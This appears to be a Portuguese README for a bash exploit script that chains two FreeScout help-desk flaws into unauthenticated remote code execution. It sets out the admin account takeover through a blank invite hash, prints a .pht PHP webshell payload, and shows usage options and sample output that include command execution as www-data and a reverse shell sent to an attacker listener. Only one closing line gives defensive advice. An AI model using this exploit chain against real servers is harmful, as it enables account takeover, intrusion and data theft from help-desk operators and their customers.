Script de exploit encadeando CVE-2026-53595 (assunção de conta anônima) e CVE-2026-53593 (upload .pht) para execução remota de código não autenticada no software de help desk FreeScout.
Execução remota de código não autenticada no FreeScout ≤ 1.8.223 (um help desk em Laravel) ao encadear duas falhas, ambas corrigidas na 1.8.224:
POST /user-setup/{hash}/{invite_sent_at} seleciona a conta apenas pela coluna invite_hash. Um usuário ativado tem invite_hash = '' e, no MySQL/MariaDB, a igualdade VARCHAR ignora espaços à direita, então hash = %20 corresponde ao admin. A verificação de expiração invite_sent_at descriptografa o valor usando a senha do usuário como chave, mas o helper de descriptografia retorna a entrada bruta em caso de falha (catch vazio), então um timestamp unix atual em texto puro é aceito. O endpoint então sobrescreve o e-mail + senha da conta e efetua o login..pht. A denylist de upload (php.*|sh|pl|phtml|phar) não cobre .pht, que o Apache mod_php executa como PHP.Encadeie-as e um atacante não autenticado obtém execução de código como o usuário do servidor web (www-data).
GET /user-setup/%20/<unix_ts> para obter um cookie de sessão + token CSRF.POST na mesma URL para sobrescrever o e-mail/senha do admin e efetuar o login (ATO).POST de um shell.pht (<?php system($_GET['c']); ?>) em /uploads/upload../exploit.sh -t <target> [options]
-t, --target URL target base URL (e.g. http://10.10.10.10) [required]
-c, --cmd CMD run a single command (default: id)
--lhost IP reverse shell: attacker IP (start nc first)
--lport PORT reverse shell port (default 4444)
--email ADDR email to set on the seized admin (default [email protected])
--password PASS password to set (default Pwned12345)
-h, --help
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> [email protected] / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30
# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.
bash, curl, jq1.0.x – 1.8.223; 1.8.224+ corrige ambos os bugs (302 vira uma tomada de conta malsucedida)..pht depende de o servidor executar .pht via mod_php — o ambiente "Apache padrão + libapache2-mod-php" que o CVE visa.system() executa via /bin/sh (dash no Debian/Ubuntu), que não entende o redirecionamento >& /dev/tcp/... exclusivo do bash, e o base64 também evita todas as armadilhas com aspas.! de propósito — ! dispara a expansão de histórico no bash/zsh interativo e estraga comandos colados.VARCHAR para tokens de segurança (colisões por espaços à direita) e nunca trate uma descriptografia com falha como um valor válido — rejeite tokens vazios/inválidos.